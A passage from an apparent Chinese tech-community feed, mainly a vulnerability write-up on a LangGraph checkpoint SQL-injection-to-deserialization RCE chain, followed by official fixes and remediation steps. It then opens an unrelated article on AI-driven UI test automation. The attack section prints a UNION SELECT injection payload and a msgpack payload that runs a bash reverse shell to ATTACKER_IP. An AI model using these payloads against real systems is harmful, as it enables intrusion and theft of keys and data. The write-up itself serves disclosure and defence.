&lt;/span&gt;&lt;span class="n"&gt;malicious_filter&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="s"&gt;"1') UNION SELECT "&lt;/span&gt;
    &lt;span class="s"&gt;"thread_id, checkpoint_ns, checkpoint_id, "&lt;/span&gt;
    &lt;span class="s"&gt;"parent_checkpoint_id, checkpoint, metadata "&lt;/span&gt;  &lt;span class="c1"&gt;# 伪造的列数据
&lt;/span&gt;    &lt;span class="s"&gt;"FROM (SELECT "&lt;/span&gt;
    &lt;span class="s"&gt;"'malicious_thread', '', 'injected_checkpoint', '', "&lt;/span&gt;
    &lt;span class="c1"&gt;# checkpoint列中嵌入恶意msgpack payload
&lt;/span&gt;    &lt;span class="s"&gt;"X'87...' AS checkpoint, "&lt;/span&gt;  &lt;span class="c1"&gt;# 精心构造的 msgpack 二进制数据
&lt;/span&gt;    &lt;span class="s"&gt;"'{}' AS metadata) -- "&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;"value"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;# 实际执行时，metadata_predicate() 会生成如下SQL：
# json_extract(CAST(metadata AS TEXT), '$.&amp;lt;注入的SQL&amp;gt;') &amp;lt;operator&amp;gt;
# 
# 最终拼出的SQL类似：
# SELECT * FROM checkpoints WHERE 
#   json_extract(CAST(metadata AS TEXT), '$.1') UNION SELECT ...') = 'value'
#
# UNION SELECT 成功在查询结果中插入一行攻击者控制的伪造 checkpoint
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt; &lt;h3 id="Step 2：构造恶意msgpack Payload"&gt;Step 2：构造恶意 msgpack Payload&lt;/h3&gt;
&lt;p&gt;利用 CVE-2025-64439 的反序列化特性，构造可以执行系统命令的 msgpack extension type：&lt;/p&gt;
 &lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# 概念验证：恶意 msgpack payload 构造思路
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;msgpack&lt;/span&gt;

&lt;span class="c1"&gt;# JsonPlusSerializer 使用 msgpack extension type 来编码 Python 对象
# extension type 的格式大致为：(module_name, callable_name, arguments)
&lt;/span&gt;
&lt;span class="c1"&gt;# 攻击者需要构造一个 extension type，使其解码后等价于：
# import os; os.system("恶意命令")
&lt;/span&gt;
&lt;span class="c1"&gt;# 恶意 payload 的核心结构（简化示意）：
&lt;/span&gt;&lt;span class="n"&gt;malicious_payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="s"&gt;"module"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;"os"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;           &lt;span class="c1"&gt;# importlib.import_module("os")
&lt;/span&gt;    &lt;span class="s"&gt;"callable"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;"system"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;     &lt;span class="c1"&gt;# getattr(os, "system")
&lt;/span&gt;    &lt;span class="s"&gt;"args"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="s"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;"bash -c 'bash -i &amp;gt;&amp;amp; /dev/tcp/ATTACKER_IP/4444 0&amp;gt;&amp;amp;1'"&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;# 将上述结构编码为 msgpack extension type 格式
# packed = msgpack.packb(malicious_payload, use_bin_type=True)
# 然后嵌入到 Step 1 的 UNION SELECT 的 checkpoint 列中
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt; &lt;h3 id="Step 3：触发反序列化——RCE达成"&gt;Step 3：触发反序列化——RCE 达成&lt;/h3&gt;
&lt;p&gt;当 LangGraph 应用调用 &lt;code&gt;get_state_history()&lt;/code&gt; 并接收到包含伪造 checkpoint 的查询结果时：&lt;/p&gt;
 &lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# 应用层代码（受害者端）
&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;langgraph.checkpoint.sqlite&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;SqliteSaver&lt;/span&gt;

&lt;span class="n"&gt;checkpointer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;SqliteSaver&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;from_conn_string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"checkpoints.db"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# 这一调用会：
# 1. 执行被注入的SQL（Step 1的UNION SELECT生效）
# 2. 返回结果中包含攻击者伪造的checkpoint行
# 3. LangGraph尝试加载这个checkpoint
&lt;/span&gt;&lt;span class="n"&gt;history&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;checkpointer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_state_history&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;filter&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;malicious_filter&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="c1"&gt;# 在加载checkpoint的过程中：
# → checkpoint列的msgpack数据被送入 JsonPlusSerializer
# → msgpack解码器解析 extension type
# → importlib.import_module("os") + getattr(os, "system")
# → os.system("bash -c '...'") → 反弹shell到攻击者服务器
# → 💀 RCE 达成
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt; &lt;h3 id="Step 4：被控后的影响评估"&gt;Step 4：被控后的影响评估&lt;/h3&gt;
&lt;p&gt;一旦 RCE 成功，攻击者可以：&lt;/p&gt;
 &lt;table class="table-responsive table table-bordered table-striped"&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;th&gt;资产类别&lt;/th&gt;
&lt;th&gt;具体内容&lt;/th&gt;
&lt;th&gt;危害等级&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;🔴 LLM API 密钥&lt;/td&gt;
&lt;td&gt;OpenAI、Anthropic、Google 等所有配置的 API Key&lt;/td&gt;
&lt;td&gt;密钥泄露 + 巨额账单&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;🔴 完整对话历史&lt;/td&gt;
&lt;td&gt;所有 Agent 执行过的对话、prompt、工具调用结果&lt;/td&gt;
&lt;td&gt;商业机密/用户隐私泄露&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;🔴 连接的数据系统&lt;/td&gt;
&lt;td&gt;CRM、工单系统、计费系统、客户 PII 数据&lt;/td&gt;
&lt;td&gt;数据泄露 + 合规风险&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;🟡 内网横向移动&lt;/td&gt;
&lt;td&gt;以服务器身份访问内部网络的其他系统&lt;/td&gt;
&lt;td&gt;整个内网沦陷&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;🟡 持久化后门&lt;/td&gt;
&lt;td&gt;在 Agent 工作流中植入后门，每次执行都触发&lt;/td&gt;
&lt;td&gt;长期潜伏&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt; 
&lt;p&gt;💡 &lt;strong&gt;风险本质：&lt;/strong&gt; LangGraph 的 checkpoint 存储了 Agent 执行过程中的所有状态数据，包括 LLM 密钥、对话历史、工具调用凭据等。一个 checkpoint 层的注入漏洞，等同于整个 AI Agent 系统的"记忆"被篡改和窃取。&lt;/p&gt;

&lt;hr&gt;
&lt;h2 id="五、修复记录"&gt;五、修复记录&lt;/h2&gt;&lt;h3 id="5.1 官方修复"&gt;5.1 官方修复&lt;/h3&gt;&lt;h4 id="修复1：SQL注入防护（CVE-2025-67644）"&gt;修复 1：SQL 注入防护（CVE-2025-67644）&lt;/h4&gt;
&lt;p&gt;修复版本：&lt;strong&gt;langgraph-checkpoint-sqlite ≥ 3.0.1&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;核心修复：将 f-string 拼接改为&lt;strong&gt;参数化查询&lt;/strong&gt;。&lt;/p&gt;
 &lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# 修复前（危险）：
&lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s"&gt;"json_extract(CAST(metadata AS TEXT), '$.&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;query_key&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;') &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;operator&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;

&lt;span class="c1"&gt;# 修复后（安全）：
# 使用参数化查询，query_key 作为参数传入，不再直接拼入SQL
&lt;/span&gt;&lt;span class="n"&gt;cursor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="s"&gt;"SELECT * FROM checkpoints WHERE json_extract(CAST(metadata AS TEXT), ?) = ?"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s"&gt;"$.&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;query_key&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt; &lt;h4 id="修复2：反序列化安全加固（CVE-2025-64439）"&gt;修复 2：反序列化安全加固（CVE-2025-64439）&lt;/h4&gt;
&lt;p&gt;修复版本：&lt;strong&gt;langgraph ≥ 1.0.10&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;核心修复：对 &lt;code&gt;JsonPlusSerializer&lt;/code&gt; 的 extension type 解码添加&lt;strong&gt;白名单机制&lt;/strong&gt;，禁止加载非预期的模块和 callable。&lt;/p&gt;
 &lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# 修复前（危险）：
&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;importlib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;import_module&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;module_name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# 可加载任意模块
&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;getattr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;callable_name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;        &lt;span class="c1"&gt;# 可获取任意函数
&lt;/span&gt;
&lt;span class="c1"&gt;# 修复后（安全）：
# 添加允许的模块白名单，仅允许反序列化预定义的安全类型
&lt;/span&gt;&lt;span class="n"&gt;ALLOWED_MODULES&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;"langchain_core"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"langgraph"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"pydantic"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...}&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;module_name&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;ALLOWED_MODULES&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="n"&gt;SecurityError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s"&gt;"Deserialization of &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;module_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; is not allowed"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt; &lt;h4 id="修复3：Redis checkpoint注入（CVE-2026-27022）"&gt;修复 3：Redis checkpoint 注入（CVE-2026-27022）&lt;/h4&gt;
&lt;p&gt;修复版本：&lt;strong&gt;langgraph-checkpoint-redis ≥ 1.0.2&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;核心修复：对 RediSearch 查询参数进行严格校验和转义，防止查询注入。&lt;/p&gt;
&lt;h3 id="5.2 运营方自救清单"&gt;5.2 运营方自救清单&lt;/h3&gt;
&lt;p&gt;如果你正在运营使用 LangGraph 的 AI Agent 系统，请立即执行以下检查：&lt;/p&gt;
 &lt;table class="table-responsive table table-bordered table-striped"&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;th&gt;优先级&lt;/th&gt;
&lt;th&gt;操作&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;🔴 P0&lt;/td&gt;
&lt;td&gt;检查版本&lt;/td&gt;
&lt;td&gt;确认 &lt;code&gt;langgraph-checkpoint-sqlite&lt;/code&gt; 是否 &amp;lt; 3.0.1，&lt;code&gt;langgraph&lt;/code&gt; 是否 &amp;lt; 1.0.10&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;🔴 P0&lt;/td&gt;
&lt;td&gt;立即升级&lt;/td&gt;
&lt;td&gt;&lt;code&gt;pip install --upgrade langgraph-checkpoint-sqlite&amp;gt;=3.0.1 langgraph&amp;gt;=1.0.10&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;🔴 P0&lt;/td&gt;
&lt;td&gt;排查 filter 入口&lt;/td&gt;
&lt;td&gt;检查应用中是否有将用户输入直接传入 &lt;code&gt;get_state_history(filter=...)&lt;/code&gt; 的代码路径&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;🟡 P1&lt;/td&gt;
&lt;td&gt;轮换所有密钥&lt;/td&gt;
&lt;td&gt;如果怀疑已被利用，立即轮换所有 LLM API 密钥和系统凭据&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;🟡 P1&lt;/td&gt;
&lt;td&gt;检查审计日志&lt;/td&gt;
&lt;td&gt;查看 checkpoint 数据库是否有异常的写入或查询记录&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;🟡 P1&lt;/td&gt;
&lt;td&gt;部署认证层&lt;/td&gt;
&lt;td&gt;LangGraph Server 不应直接暴露，必须在反向代理/API 网关后加认证&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;🟢 P2&lt;/td&gt;
&lt;td&gt;最小权限原则&lt;/td&gt;
&lt;td&gt;Agent 运行时使用的凭据应遵循最小权限，限制可访问的系统范围&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;🟢 P2&lt;/td&gt;
&lt;td&gt;采用 credential brokering&lt;/td&gt;
&lt;td&gt;避免在 Agent 中使用长期静态密钥，改为动态凭据代理模式&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt; &lt;h3 id="5.3 关联漏洞提醒"&gt;5.3 关联漏洞提醒&lt;/h3&gt;
&lt;p&gt;LangGraph/LangChain 生态在 2025-2026 年披露了多个安全漏洞，建议一并排查：&lt;/p&gt;
 &lt;table class="table-responsive table table-bordered table-striped"&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;th&gt;CVE 编号&lt;/th&gt;
&lt;th&gt;类型&lt;/th&gt;
&lt;th&gt;CVSS&lt;/th&gt;
&lt;th&gt;影响&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2025-67644&lt;/td&gt;
&lt;td&gt;SQLite checkpoint SQL 注入&lt;/td&gt;
&lt;td&gt;7.3&lt;/td&gt;
&lt;td&gt;本次文章&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2025-64439&lt;/td&gt;
&lt;td&gt;msgpack 反序列化 RCE&lt;/td&gt;
&lt;td&gt;7.4&lt;/td&gt;
&lt;td&gt;本次文章&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2026-27022&lt;/td&gt;
&lt;td&gt;Redis checkpoint 查询注入&lt;/td&gt;
&lt;td&gt;6.5&lt;/td&gt;
&lt;td&gt;绕过访问控制&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2026-28277&lt;/td&gt;
&lt;td&gt;反序列化 RCE 补充编号&lt;/td&gt;
&lt;td&gt;6.8&lt;/td&gt;
&lt;td&gt;本次文章&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt; 
&lt;hr&gt;
&lt;h2 id="六、总结与思考"&gt;六、总结与思考&lt;/h2&gt;&lt;h3 id="6.1 这个漏洞链为什么值得关注？"&gt;6.1 这个漏洞链为什么值得关注？&lt;/h3&gt;
&lt;p&gt;单独看，SQL 注入（7.3）和反序列化 RCE（7.4）都只是"高"级别。但组合在一起，它们代表了一种&lt;strong&gt;经典的链式攻击模式&lt;/strong&gt;——&lt;strong&gt;数据注入 → 代码执行&lt;/strong&gt;。&lt;/p&gt;

&lt;p&gt;这种模式在安全史上反复出现：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;2015 年的 Apache Commons Collections 反序列化链&lt;/li&gt;
&lt;li&gt;2021 年的 Log4Shell（日志注入 → JNDI 查找 → RCE）&lt;/li&gt;
&lt;li&gt;现在的 LangGraph（SQL 注入 → 伪造 checkpoint → 反序列化 RCE）&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;核心教训是：安全评估不能只看单个漏洞的 CVSS 分数，而要看漏洞之间的组合效应。&lt;/strong&gt; 两个"高"危漏洞组合在一起，实际危害可能超过一个"严重"漏洞。&lt;/p&gt;
&lt;h3 id="6.2 对AI开发者的警示"&gt;6.2 对 AI 开发者的警示&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Checkpointer 是信任边界&lt;/strong&gt;：checkpoint 存储了 Agent 的"记忆"，包括密钥、对话、工具调用结果。它不是一个普通的数据存储，而是整个 Agent 系统的信任根基。对 checkpoint 数据的读写必须有严格的安全控制。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;参数化查询不是可选项&lt;/strong&gt;：2025 年了，SQL 注入仍然是 AI 框架中的高危漏洞。任何接受用户输入并用于数据库查询的代码路径，都必须使用参数化查询，没有例外。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;反序列化 = 代码执行&lt;/strong&gt;：任何允许攻击者控制反序列化输入的系统，都等价于允许远程代码执行。Python 的 &lt;code&gt;pickle&lt;/code&gt;、&lt;code&gt;msgpack&lt;/code&gt; extension types、Java 的 &lt;code&gt;ObjectInputStream&lt;/code&gt; 都是已知的危险区域。修复方案是白名单机制，而非黑名单。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;AI Agent 是特权身份&lt;/strong&gt;：AI Agent 通常持有 LLM API 密钥、数据库凭据、第三方服务 token 等高价值凭据。安全架构上应将 Agent 视为"compromised privileged account"——假设它随时可能被攻破，在此基础上设计纵深防御。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;托管平台 ≠ 自托管&lt;/strong&gt;：LangSmith 使用 PostgreSQL 后端，不受此次 SQLite 漏洞影响。但大量企业在本地或私有云自托管 LangGraph，使用的是 SQLite 做快速验证——这些"开发环境"往往最终变成了生产环境。&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="6.3 写在最后"&gt;6.3 写在最后&lt;/h3&gt;
&lt;p&gt;2026年6月11日，Check Point Research 公开披露了这条攻击链，引发了 AI 安全社区的广泛关注。LangGraph 作为月下载量近 5000 万的 Agent 框架，其 checkpoint 层的安全缺陷影响范围不可小觑。&lt;/p&gt;

&lt;p&gt;但这不意味着 LangGraph"不安全"——恰恰相反，这次漏洞的发现、披露和修复流程是&lt;strong&gt;负责任披露的典范&lt;/strong&gt;：2025 年 11 月私下报告给 LangChain 团队，经过数月协调修复后，于 2026 年 6 月公开发表。LangChain 团队也在收到报告后迅速发布了修复版本。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;真正值得警惕的是模式&lt;/strong&gt;：AI Agent 框架正在快速成为企业基础设施的一部分，但它们的安全成熟度远未达到企业级要求。从 FastGPT 的未认证 SSRF（第 1 篇），到 PraisonAI 的巨型漏洞簇（第 2 篇），再到 LangGraph 的 SQL 注入→RCE 链，我们看到的是同一个问题反复出现——&lt;strong&gt;开发速度远超安全意识&lt;/strong&gt;。&lt;/p&gt;

&lt;p&gt;作为 AI 开发者，我们需要在"快速迭代"和"安全基线"之间找到平衡。至少做到：参数化查询、认证全覆盖、反序列化白名单、凭据最小权限。这四条做到了，80% 的漏洞链就断了。&lt;/p&gt;

&lt;hr&gt;
&lt;h2 id="参考资料"&gt;参考资料&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://research.checkpoint.com/" rel="nofollow" target="_blank" title=""&gt;Check Point Research: LangGraph Vulnerability Report (2026-06-11)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2025-67644" rel="nofollow" target="_blank" title=""&gt;CVE-2025-67644 - NVD&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2025-64439" rel="nofollow" target="_blank" title=""&gt;CVE-2025-64439 - NVD&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/langchain-ai/langgraph" rel="nofollow" target="_blank" title=""&gt;LangGraph GitHub Repository&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://pypi.org/project/langgraph-checkpoint-sqlite/" rel="nofollow" target="_blank" title=""&gt;langgraph-checkpoint-sqlite PyPI&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://cwe.mitre.org/data/definitions/89.html" rel="nofollow" target="_blank" title=""&gt;CWE-89: SQL Injection&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://cwe.mitre.org/data/definitions/502.html" rel="nofollow" target="_blank" title=""&gt;CWE-502: Deserialization of Untrusted Data&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://m.freebuf.com/articles/vuls/489298.html" rel="nofollow" target="_blank" title=""&gt;FreeBuf：大模型 2025-2026 新 CVE 漏洞全景&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;hr&gt;

&lt;p&gt;&lt;strong&gt;上一篇回顾：&lt;/strong&gt; PraisonAI 巨型漏洞簇——MCP STDIO 供应链攻击&lt;br&gt;&lt;br&gt;
&lt;strong&gt;下一篇预告：&lt;/strong&gt; Langflow 路径遍历→RCE（CVE-2026-5027）——当 AI 工作流的文件访问没有边界&lt;/p&gt;</description>
      <author>Santo</author>
      <pubDate>Tue, 11 Aug 2026 14:58:23 +0800</pubDate>
      <link>https://testerhome.com/topics/44607</link>
      <guid>https://testerhome.com/topics/44607</guid>
    </item>
    <item>
      <title>AI 测试提效 ｜ 别搞万能 Skill，推荐用 5 个 Agent Skill 串起 UI 自动化全流程</title>
      <description>&lt;p&gt;&lt;img src="https://image.kjdaohang.com/img/20260806124659349.png" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;做过 UI 自动化的团队，几乎都经历过这个死循环：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;抓元素&lt;/strong&gt;，打开 DevTools 逐个复制 XPath，一个页面几十上百个元素，抓到眼花。&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;写脚本&lt;/strong&gt;，从零搭 POM 类、写用例、造数据，一行行敲，一敲就是几天。&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;跑通了&lt;/strong&gt;，勉强能 demo，一上 CI 环境就各种挂——超时、弹窗、异步加载、iframe 切不进去。&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;前端改版了&lt;/strong&gt;，元素属性变了、组件替换了，之前的定位策略大面积失效。&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;修脚本&lt;/strong&gt;，修完这轮，下轮改版继续挂。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;写脚本 3 天，修脚本 2 周。&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;这就是 UI 自动化的现实。它也是整个测试体系中，最「脆弱」、最「烧钱」、也最需要 AI 赋能的环节。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;那能不能用 Agent Skill，把 UI 自动化从页面解析到脚本维护的整条链路，全部串起来？&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;答案是，可以。而且效果比你想象的好得多。&lt;/p&gt;

&lt;p&gt;核心思路就一句话，&lt;strong&gt;AI 负责解析、生成、增强和维护，人负责校验和决策。&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;但这里有一个关键问题，&lt;strong&gt;不能搞「万能 Skill」，要按职责拆成「专业 Skill」。&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;这篇文章，就带你完整看清楚，一套 4+1 个 Agent Skill 是怎么串起 UI 自动化全流程的。&lt;/p&gt;
&lt;h2 id="一、UI 自动化的痛，远不止抓元素"&gt;一、UI 自动化的痛，远不止抓元素&lt;/h2&gt;
&lt;p&gt;很多团队一提到 UI 自动化的痛点，第一反应就是「抓元素慢」。但实际上，&lt;strong&gt;抓元素只是冰山一角。&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;从页面解析到脚本维护，UI 自动化的每一个环节都有让人崩溃的地方：&lt;/p&gt;
 &lt;table class="table-responsive table table-bordered table-striped"&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;th&gt;环节&lt;/th&gt;
&lt;th&gt;痛点&lt;/th&gt;
&lt;th&gt;典型表现&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;页面解析&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;人工逐个抓元素，慢且遗漏多&lt;/td&gt;
&lt;td&gt;一个页面 100+ 元素，逐个检查属性、复制定位，3 天搞不完&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;脚本编写&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;POM + 用例 + 数据，从零手写&lt;/td&gt;
&lt;td&gt;页面对象类、测试用例、测试数据全靠人工编写，效率极低&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;脚本执行&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;缺等待、缺异常处理，总挂&lt;/td&gt;
&lt;td&gt;demo 级脚本能跑，上 CI 就挂——超时、弹窗、iframe、偶发失败&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;视觉验证&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;DOM 断言测不出样式问题&lt;/td&gt;
&lt;td&gt;元素在、文本对，但布局错位、样式崩塌，断言全部通过&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;长期维护&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;前端改版，脚本大面积失效&lt;/td&gt;
&lt;td&gt;元素属性变了、组件替换了，之前的定位策略全部报废&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;团队协作&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;每个人风格不同，质量参差不齐&lt;/td&gt;
